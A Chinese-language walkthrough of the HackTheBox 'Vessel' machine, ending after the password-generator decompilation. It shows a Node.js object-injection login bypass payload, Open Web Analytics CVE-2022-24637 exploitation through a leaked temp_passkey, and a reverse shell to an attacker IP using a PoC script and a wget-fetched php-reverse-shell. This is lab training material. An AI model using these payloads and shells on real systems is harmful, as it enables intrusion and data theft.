HackTheBox Vessel Git文件代码审计,Node.js登录身份验证绕过,CVE-2022-24637利用,python反编译和CVE-2022-0811提权

在这里插入图片描述

题目网址:

https://app.hackthebox.com/machines/492

知识点:

Git文件代码审计
Node.js登录身份验证绕过
CVE-2022-24637原理以及利用
python反编译
CVE-2022-0811原理以及利用

枚举

使用nmap枚举靶机

nmap -sC -sV 10.10.11.178

在这里插入图片描述

发现机子值开了两个端口,然后我们枚举网站目录

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -mc 200,301 -u http://10.10.11.178/FUZZ

在这里插入图片描述

然后发现了dev目录,之前我们做其他机子时,在dev目录里发现了git文件夹,这里我们继续对dev目录枚举一下

在这里插入图片描述

但是没有枚举到.git目录,我们直接加上试试

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -mc 200,301 -u http://10.10.11.178/dev/.git/FUZZ

在这里插入图片描述

可以看到,枚举出来了很多目录然后我们用git-dumper工具将这些文件下载下来,首先创建一个新文件夹存放文件

工具github项目地址:

https://github.com/arthaud/git-dumper

Git文件代码审计

pip install git-dumper
git-dumper http://10.10.11.178/dev /home/kali/hackthebox/git

在这里插入图片描述

在这里插入图片描述

查看git日志

git log

在这里插入图片描述

开发者名字是Ethan,同时还看到了域名,我们本地dns解析一下

echo "10.10.11.178 vessel.htb" >> /etc/hosts

然后用GitKraken工具分析这些git文件

https://www.gitkraken.com/download

在这里插入图片描述

选择文件夹,导入分析

在这里插入图片描述

然后在db文件里发现了数据库的账号和密码

在这里插入图片描述

账号:default
密码:daqvACHKvRn84VdVp

然后在routes文件夹里找到了登录页面的后台验证源代码

在这里插入图片描述

router.post('/api/login', function(req, res) {
	let username = req.body.username;
	let password = req.body.password;
	if (username && password) {
		connection.query("SELECT * FROM accounts WHERE username = '" + username + "' AND password = '" + password + "'", function(error, results, fields) {
			if (error) throw error;
			if (results.length > 0) {
				req.session.loggedin = true;
				req.session.username = username;
				req.flash('success', 'Succesfully logged in!');
				res.redirect('/admin');
			} else {
				req.flash('error', 'Wrong credentials! Try Again!');
				res.redirect('/login');
			}			
			res.end();
		});
	} else {
		res.redirect('/login');
	}
});

感觉没什么问题,然后查看了一下git的提交历史记录

git diff f1369cfecb4a3125ec4060f1a725ce4aa6cbecd3

在这里插入图片描述

let username = req.body.username;
let password = req.body.password;
        if (username && password) {
-               connection.query("SELECT * FROM accounts WHERE username = '" + username + "' AND password = '" + password + "'", function(error, results, fields) {
+               connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) {
                        if (error) throw error;
                        if (results.length > 0) {
                                req.session.loggedin = true;

发现开发人员已经修复了sql注入漏洞方面的问题

Node.js登录身份验证绕过

然后我上网查了一会,发现了这篇文章

https://www.stackhawk.com/blog/node-js-sql-injection-guide-examples-and-prevention/

在这里插入图片描述

app.post("/auth", function (request, response) {
 var username = request.body.username;
 var password = request.body.password;
 if (username && password) {
  connection.query(
   "SELECT * FROM accounts WHERE username = ? AND password = ?",
   [username, password],
   function (error, results, fields) {
    ...
   }
  );
 }
});

攻击者可以提交被视为对象而不是字符串值的输入,从而允许身份验证绕过

payload为:

username=admin&password[password]=1

然后我们去到网站的后台登录页面,并启动burp

随便输入账号和密码,然后写入paylaod

在这里插入图片描述

在这里插入图片描述

成功进入后台,但是并没有什么突破点,耽误了很多时间,然后我点击Analytics按键时,在burp请求包里发现了突破点

在这里插入图片描述

在这里插入图片描述

我们跳转到了一个子域名,但是之前我枚举子域名时并没有发现子域名,我们本地dns解析一下

echo "10.10.11.178 openwebanalytics.vessel.htb" >> /etc/hosts

在这里插入图片描述

CVE-2022-24637利用

枚举网站框架,是Open Web Analytics

在这里插入图片描述

然后我用searchsploit工具搜索了一下相关的漏洞,但是没有可以利用的漏洞,只能去google一下了,然后发现了这篇文章

https://www.cvedetails.com/cve/CVE-2022-24637/
https://devel0pment.de/?p=2494

在这里插入图片描述
翻译过来是

我们可以通过单引号/双引号混淆,导致信息泄露,包含敏感信息的自动生成的 PHP 缓存文件的标头定义为’<?php\n…'而不是"<?php\n…",这会导致文字反斜杠和n字符被写入而不是换行符,因此,该文件不会被解释为 PHP 代码,而是以普通泄漏的敏感缓存信息的形式传递。可以利用此信息为管理员用户设置新密码。

第二个是PHP 文件写入,其中日志文件路径和日志级别可以通过手动 POST 请求更改。日志文件可以设置为 PHP 文件,攻击者可以通过增加日志级别 + 使用攻击者控制的数据生成事件来将 PHP 代码注入此日志文件

在这里插入图片描述

在github上可以找到Open Web Analytics框架的开源的源代码

https://github.com/Open-Web-Analytics/Open-Web-Analytics/tree/1.7.3

通过审计Open-Web-Analytics/tree/1.7.3/modules/base/classes目录下的fileCache文件可以找到生成缓存文件的代码

在这里插入图片描述

在这里插入图片描述

function getItemFromCacheStore($collection, $id) {

        $cache_file = $this->makeCollectionDirPath($collection).$id.'.php';
        $this->debug("check cache file: ".$cache_file);

        // if no cache file then return false
        if (!file_exists($cache_file)) {
            $this->debug(sprintf('Cache File not found for Collection: %s, id: %s, file: %s', $collection, $id, $cache_file));
            return false;

        // cache object has expired
        } elseif ((filectime($cache_file) + $this->getCollectionExpirationPeriod($collection)) < time()) {
            $this->debug("time: ".time());
            $this->debug("ctime: ".filectime($cache_file));
            $this->debug("diff: ".(time() - filectime($cache_file)));
            $this->debug("exp period: ".$this->getCollectionExpirationPeriod($collection));
            $this->removeCacheFile($this->makeCollectionDirPath($collection).$id.'.php');
            $this->debug(sprintf('Cache Object has expired for Collection: %s, id: %s', $collection, $id));
            return false;

        // load from cache file
        } else {
            return unserialize(base64_decode(substr(@ file_get_contents($cache_file), strlen($this->cache_file_header), -strlen($this->cache_file_footer))));
        }

    }
$cache_file = $this->makeCollectionDirPath($collection).$id.'.php';

缓存文件是使用用户ID生成的,也就是1

缓存内容是经过base64加密过的

在这里插入图片描述

在这里插入图片描述

function hash($id) {
        
        return md5( $id . OWA_AUTH_KEY );
    }
$cache_file = $this->cache_dir.$this->cache_id.'/'.$collection.'/'.$id.'.php';
// owa-data/caches/1/owa_user/$ID.php

存储在/owa-data/caches/1/目录下,文件名是经过md5加密后的1

在这里插入图片描述

fafe1b60c24107ccd8f4562213e44849

然后我们可以通过密码重置页面来生成缓存

http://openwebanalytics.vessel.htb/index.php?owa_do=base.passwordResetForm

我们重置admin密码试试

admin@vessel.htb

在这里插入图片描述

然后访问缓存文件

http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_user/fafe1b60c24107ccd8f4562213e44849.php

通过查看页面的源代码,可以发现一串base64加密后的密文

在这里插入图片描述

在这里插入图片描述

然后解密

echo "Tzo4OiJvd2FfdXNlciI6NTp7czo0OiJuYW1lIjtzOjk6ImJhc2UudXNlciI7czoxMDoicHJvcGVydGllcyI7YToxMDp7czoyOiJpZCI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MToiMSI7czo5OiJkYXRhX3R5cGUiO3M6NjoiU0VSSUFMIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjc6InVzZXJfaWQiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjU6ImFkbWluIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjoxO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjg6InBhc3N3b3JkIjtPOjEyOiJvd2FfZGJDb2x1bW4iOjExOntzOjQ6Im5hbWUiO047czo1OiJ2YWx1ZSI7czo2MDoiJDJ5JDEwJC5YMXlBNldmc3ViT2U5VkFUaTdncy5udUJ1N3c1ZUF5dGQwMmFVU0kyNXJIRGJLTllGRU51IjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjQ6InJvbGUiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjU6ImFkbWluIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjk6InJlYWxfbmFtZSI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MTM6ImRlZmF1bHQgYWRtaW4iO3M6OToiZGF0YV90eXBlIjtzOjEyOiJWQVJDSEFSKDI1NSkiO3M6MTE6ImZvcmVpZ25fa2V5IjtOO3M6MTQ6ImlzX3ByaW1hcnlfa2V5IjtiOjA7czoxNDoiYXV0b19pbmNyZW1lbnQiO2I6MDtzOjk6ImlzX3VuaXF1ZSI7YjowO3M6MTE6ImlzX25vdF9udWxsIjtiOjA7czo1OiJsYWJlbCI7TjtzOjU6ImluZGV4IjtOO3M6MTM6ImRlZmF1bHRfdmFsdWUiO047fXM6MTM6ImVtYWlsX2FkZHJlc3MiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjE2OiJhZG1pbkB2ZXNzZWwuaHRiIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjEyOiJ0ZW1wX3Bhc3NrZXkiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjMyOiI5ZTk5ODE2MzUyNTA4MzM1NWY2YzM1ZjI2YWFlYWY0YiI7czo5OiJkYXRhX3R5cGUiO3M6MTI6IlZBUkNIQVIoMjU1KSI7czoxMToiZm9yZWlnbl9rZXkiO047czoxNDoiaXNfcHJpbWFyeV9rZXkiO2I6MDtzOjE0OiJhdXRvX2luY3JlbWVudCI7YjowO3M6OToiaXNfdW5pcXVlIjtiOjA7czoxMToiaXNfbm90X251bGwiO2I6MDtzOjU6ImxhYmVsIjtOO3M6NToiaW5kZXgiO047czoxMzoiZGVmYXVsdF92YWx1ZSI7Tjt9czoxMzoiY3JlYXRpb25fZGF0ZSI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MTA6IjE2NTAyMTE2NTkiO3M6OToiZGF0YV90eXBlIjtzOjY6IkJJR0lOVCI7czoxMToiZm9yZWlnbl9rZXkiO047czoxNDoiaXNfcHJpbWFyeV9rZXkiO2I6MDtzOjE0OiJhdXRvX2luY3JlbWVudCI7YjowO3M6OToiaXNfdW5pcXVlIjtiOjA7czoxMToiaXNfbm90X251bGwiO2I6MDtzOjU6ImxhYmVsIjtOO3M6NToiaW5kZXgiO047czoxMzoiZGVmYXVsdF92YWx1ZSI7Tjt9czoxNjoibGFzdF91cGRhdGVfZGF0ZSI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MTA6IjE2NTAyMTE2NTkiO3M6OToiZGF0YV90eXBlIjtzOjY6IkJJR0lOVCI7czoxMToiZm9yZWlnbl9rZXkiO047czoxNDoiaXNfcHJpbWFyeV9rZXkiO2I6MDtzOjE0OiJhdXRvX2luY3JlbWVudCI7YjowO3M6OToiaXNfdW5pcXVlIjtiOjA7czoxMToiaXNfbm90X251bGwiO2I6MDtzOjU6ImxhYmVsIjtOO3M6NToiaW5kZXgiO047czoxMzoiZGVmYXVsdF92YWx1ZSI7Tjt9czo3OiJhcGlfa2V5IjtPOjEyOiJvd2FfZGJDb2x1bW4iOjExOntzOjQ6Im5hbWUiO3M6NzoiYXBpX2tleSI7czo1OiJ2YWx1ZSI7czozMjoiYTM5MGNjMDI0N2VjYWRhOWEyYjhkMjMzOGI5Y2E2ZDIiO3M6OToiZGF0YV90eXBlIjtzOjEyOiJWQVJDSEFSKDI1NSkiO3M6MTE6ImZvcmVpZ25fa2V5IjtOO3M6MTQ6ImlzX3ByaW1hcnlfa2V5IjtiOjA7czoxNDoiYXV0b19pbmNyZW1lbnQiO2I6MDtzOjk6ImlzX3VuaXF1ZSI7YjowO3M6MTE6ImlzX25vdF9udWxsIjtiOjA7czo1OiJsYWJlbCI7TjtzOjU6ImluZGV4IjtOO3M6MTM6ImRlZmF1bHRfdmFsdWUiO047fX1zOjE2OiJfdGFibGVQcm9wZXJ0aWVzIjthOjQ6e3M6NToiYWxpYXMiO3M6NDoidXNlciI7czo0OiJuYW1lIjtzOjg6Im93YV91c2VyIjtzOjk6ImNhY2hlYWJsZSI7YjoxO3M6MjM6ImNhY2hlX2V4cGlyYXRpb25fcGVyaW9kIjtpOjYwNDgwMDt9czoxMjoid2FzUGVyc2lzdGVkIjtiOjE7czo1OiJjYWNoZSI7Tjt9" | base64 -d

在这里插入图片描述

O:8:"owa_user":5:{s:4:"name";s:9:"base.user";s:10:"properties";a:10:{s:2:"id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:1:"1";s:9:"data_type";s:6:"SERIAL";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:7:"user_id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:1;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:8:"password";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:60:"$2y$10$.X1yA6WfsubOe9VATi7gs.nuBu7w5eAytd02aUSI25rHDbKNYFENu";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:4:"role";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:9:"real_name";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:13:"default admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:13:"email_address";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:16:"admin@vessel.htb";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:12:"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"9e998163525083355f6c35f26aaeaf4b";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:13:"creation_date";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:10:"1650211659";s:9:"data_type";s:6:"BIGINT";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:16:"last_update_date";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:10:"1650211659";s:9:"data_type";s:6:"BIGINT";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:7:"api_key";O:12:"owa_dbColumn":11:{s:4:"name";s:7:"api_key";s:5:"value";s:32:"a390cc0247ecada9a2b8d2338b9ca6d2";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}}s:16:"_tableProperties";a:4:{s:5:"alias";s:4:"user";s:4:"name";s:8:"owa_user";s:9:"cacheable";b:1;s:23:"cache_expiration_period";i:604800;}s:12:"wasPersisted";b:1;s:5:"cache";N;}

在这里插入图片描述

然后根据文中提到的temp_passkey,现在可以通过base.usersChangePassword操作提交来更改admin的密码

temp_passkey:2562956d6258b9ffb4703b97b76cc9a4

回到burp,选择删除隐藏属性

在这里插入图片描述

去到更改密码的页面

http://openwebanalytics.vessel.htb/index.php?owa_do=base.usersChangePassword

在这里插入图片描述

可以看到多出来了一行,我们输入temp_passkey的值即可

在这里插入图片描述

在这里插入图片描述

成功修改密码,我们直接登录即可

在这里插入图片描述

根据之前的那篇文章,我们还可以写入并执行php代码

https://devel0pment.de/?p=2494#vuln2

在这里插入图片描述

在这里插入图片描述

然后我们利用这个poc

https://github.com/hupe1980/CVE-2022-24637

在这里插入图片描述
先用nc监听对应的端口,再执行paylaod

python3 exploit.py -u admin -p 123456 http://openwebanalytics.vessel.htb/ 10.10.14.15 5555

在这里插入图片描述

由于这个shell不稳定,我们使用php-reverse-shell来返回shell

https://pentestmonkey.net/tools/web-shells/php-reverse-shell

修改ip和端口,将sh改为bash,然后再用nc监听对应的端口

在这里插入图片描述

然后在这个当前目录启动python http

python3 -m http.server 80

回到靶机,然后在logs文件夹里下载php-reverse-shell,然后去网站上触发

在这里插入图片描述

wget http://10.10.14.15/php-reverse-shell.php
http://openwebanalytics.vessel.htb/owa-data/logs/php-reverse-shell.php

在这里插入图片描述

python反编译

然后我去用户目录下找了一圈,发现了一些东西

在这里插入图片描述

把这两个文件移动到logs文件夹下,然后下载下来看看

cp notes.pdf /var/www/html/owa/owa-data/logs/
cp screenshot.png /var/www/html/owa/owa-data/logs/

回到kali

wget http://openwebanalytics.vessel.htb/owa-data/logs/notes.pdf
wget http://openwebanalytics.vessel.htb/owa-data/logs/screenshot.png

在这里插入图片描述

在这里插入图片描述

图片是密码生成器的界面,pdf文件需要密码,然后我继续在用户目录迅游,发现了一个应用程序,我们像上面那样下载到kali上

在这里插入图片描述

cp passwordGenerator /var/www/html/owa/owa-data/logs/
wget http://openwebanalytics.vessel.htb/owa-data/logs/passwordGenerator

在这里插入图片描述

Windows 的 PE32 可执行文件,应该就是密码生成器的本体了

在这里插入图片描述

它是使用pyinstaller编译的,需要反编译工具:

https://github.com/extremecoders-re/pyinstxtractor

然后将程序放到这个脚本的目录里

python pyinstxtractor.py passwordGenerator

在这里插入图片描述

然后会自动生成一个文件夹

在这里插入图片描述

选择我们需要反编译里面的pyc文件

pip install uncompyle6
uncompyle6 passwordGenerator.pyc

在这里插入图片描述

然后可以得到源代码

# uncompyle6 version 3.8.0
# Python bytecode 3.7.0 (3394)
# Decompiled from: Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
# [GCC 10.2.1 20210110]
# Embedded file name: passwordGenerator.py
from PySide2.QtCore import *
from PySide2.QtGui import *
from PySide2.QtWidgets import *
from PySide2 import QtWidgets
import pyperclip

class Ui_MainWindow(object):

    def setupUi(self, MainWindow):
        if not MainWindow.objectName():
            MainWindow.setObjectName('MainWindow')
        MainWindow.resize(560, 408)
        self.centralwidget = QWidget(MainWindow)
        self.centralwidget.setObjectName('centralwidget')
        self.title = QTextBrowser(self.centralwidget)
        self.title.setObjectName('title')
        self.title.setGeometry(QRect(80, 10, 411, 51))
        self.textBrowser_2 = QTextBrowser(self.centralwidget)
        self.textBrowser_2.setObjectName('textBrowser_2')
        self.textBrowser_2.setGeometry(QRect(10, 80, 161, 41))
        self.generate = QPushButton(self.centralwidget)
        self.generate.setObjectName('generate')
        self.generate.setGeometry(QRect(140, 330, 261, 51))
        self.PasswordLength = QSpinBox(self.centralwidget)
        self.PasswordLength.setObjectName('PasswordLength')
        self.PasswordLength.setGeometry(QRect(30, 130, 101, 21))
        self.PasswordLength.setMinimum(10)
        self.PasswordLength.setMaximum(40)
        self.copyButton = QPushButton(self.centralwidget)
        self.copyButton.setObjectName('copyButton')
        self.copyButton.setGeometry(QRect(460, 260, 71, 61))
        self.textBrowser_4 = QTextBrowser(self.centralwidget)
        self.textBrowser_4.setObjectName('textBrowser_4')
        self.textBrowser_4.setGeometry(QRect(190, 170, 141, 41))
        self.checkBox = QCheckBox(self.centralwidget)
        self.checkBox.setObjectName('checkBox')
        self.checkBox.setGeometry(QRect(250, 220, 16, 17))
        self.checkBox.setCheckable(True)
        self.checkBox.setChecked(False)
        self.checkBox.setTristate(False)
        self.comboBox = QComboBox(self.centralwidget)
        self.comboBox.addItem('')
        self.comboBox.addItem('')
        self.comboBox.addItem('')
        self.comboBox.setObjectName('comboBox')
        self.comboBox.setGeometry(QRect(350, 130, 161, 21))
        self.textBrowser_5 = QTextBrowser(self.centralwidget)
        self.textBrowser_5.setObjectName('textBrowser_5')
        self.textBrowser_5.setGeometry(QRect(360, 80, 131, 41))
        self.password_field = QLineEdit(self.centralwidget)
        self.password_field.setObjectName('password_field')
        self.password_field.setGeometry(QRect(100, 260, 351, 61))
        MainWindow.setCentralWidget(self.centralwidget)
        self.statusbar = QStatusBar(MainWindow)
        self.statusbar.setObjectName('statusbar')
        MainWindow.setStatusBar(self.statusbar)
        self.retranslateUi(MainWindow)
        QMetaObject.connectSlotsByName(MainWindow)

    def retranslateUi(self, MainWindow):
        MainWindow.setWindowTitle(QCoreApplication.translate('MainWindow', 'MainWindow', None))
        self.title.setDocumentTitle('')
        self.title.setHtml(QCoreApplication.translate('MainWindow', '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">\n<html><head><meta name="qrichtext" content="1" /><style type="text/css">\np, li { white-space: pre-wrap; }\n</style></head><body style=" font-family:\'MS Shell Dlg 2\'; font-size:8.25pt; font-weight:400; font-style:normal;">\n<p align="center" style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:20pt;">Secure Password Generator</span></p></body></html>', None))
        self.textBrowser_2.setDocumentTitle('')
        self.textBrowser_2.setHtml(QCoreApplication.translate('MainWindow', '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">\n<html><head><meta name="qrichtext" content="1" /><style type="text/css">\np, li { white-space: pre-wrap; }\n</style></head><body style=" font-family:\'MS Shell Dlg 2\'; font-size:8.25pt; font-weight:400; font-style:normal;">\n<p align="center" style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:14pt;">Password Length</span></p></body></html>', None))
        self.generate.setText(QCoreApplication.translate('MainWindow', 'Generate!', None))
        self.copyButton.setText(QCoreApplication.translate('MainWindow', 'Copy', None))
        self.textBrowser_4.setDocumentTitle('')
        self.textBrowser_4.setHtml(QCoreApplication.translate('MainWindow', '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">\n<html><head><meta name="qrichtext" content="1" /><style type="text/css">\np, li { white-space: pre-wrap; }\n</style></head><body style=" font-family:\'MS Shell Dlg 2\'; font-size:8.25pt; font-weight:400; font-style:normal;">\n<p align="center" style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:14pt;">Hide Password</span></p></body></html>', None))
        self.checkBox.setText('')
        self.comboBox.setItemText(0, QCoreApplication.translate('MainWindow', 'All Characters', None))
        self.comboBox.setItemText(1, QCoreApplication.translate('MainWindow', 'Alphabetic', None))
        self.comboBox.setItemText(2, QCoreApplication.translate('MainWindow', 'Alphanumeric', None))
        self.textBrowser_5.setDocumentTitle('')
        self.textBrowser_5.setHtml(QCoreApplication.translate('MainWindow', '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">\n<html><head><meta name="qrichtext" content="1" /><style type="text/css">\np, li { white-space: pre-wrap; }\n</style></head><body style=" font-family:\'MS Shell Dlg 2\'; font-size:8.25pt; font-weight:400; font-style:normal;">\n<p align="center" style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:16pt;">characters</span></p></body></html>', None))
        self.password_field.setText('')


class MainWindow(QMainWindow, Ui_MainWindow):

    def __init__(self):
        super(MainWindow, self).__init__()
        self.setupUi(self)
        self.setFixedSize(QSize(550, 400))
        self.setWindowTitle('Secure Password Generator')
        self.password_field.setReadOnly(True)
        self.passlen()
        self.chars()
        self.hide()
        self.gen()

    def passlen(self):
        self.PasswordLength.valueChanged.connect(self.lenpass)

    def lenpass(self, l):
        global value
        value = l

    def chars(self):
        self.comboBox.currentIndexChanged.connect(self.charss)

    def charss(self, i):
        global index
        index = i

    def hide(self):
        self.checkBox.stateChanged.connect(self.status)

    def status(self, s):
        global status
        status = s == Qt.Checked

    def copy(self):
        self.copyButton.clicked.connect(self.copied)

    def copied(self):
        pyperclip.copy(self.password_field.text())

    def gen(self):
        self.generate.clicked.connect(self.genButton)

    def genButton(self):
        try:
            hide = status
            if hide:
                self.password_field.setEchoMode(QLineEdit.Password)
            else:
                self.password_field.setEchoMode(QLineEdit.Normal)
            password = self.genPassword()
            self.password_field.setText(password)
        except:
            msg = QMessageBox()
            msg.setWindowTitle('Warning')
            msg.setText('Change the default values before generating passwords!')
            x = msg.exec_()

        self.copy()

    def genPassword(self):
        length = value
        char = index
        if char == 0:
            charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
        else:
            if char == 1:
                charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
            else:
                if char == 2:
                    charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
                else:
                    try:
                        qsrand(QTime.currentTime().msec())
                        password = ''
                        for i in range(length):
                            idx = qrand() % len(charset)
                            nchar = charset[idx]
                            password += str(nchar)

                    except:
                        msg = QMessageBox()
                        msg.setWindowTitle('Error')
                        msg.setText('Error while generating password!, Send a message to the Author!')
                        x = msg.exec_()

                return password


if __name__ == '__main__':
    app = QtWidgets.QApplication()
    mainwindow = MainWindow()
    mainwindow.show()
    app.exec_()

程序的关键加密的地方是

def genPassword(self):
        length = value
        char = index
        if char == 0:
            charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
        else:
            if char == 1:
                charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
            else:
                if char == 2:
                    charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
                else:
                    try:
                        qsrand(QTime.currentTime().msec())
                        password = ''
                        for i in range(length):
                            idx = qrand() % len(charset)
                            nchar = charset[idx]
                            password += str(nchar)

                    except:
                        msg = QMessageBox()
                        msg.setWindowTitle('Error')
                        msg.setText('Error while generating password!, Send a message to the Author!')
                        x = msg.exec_()

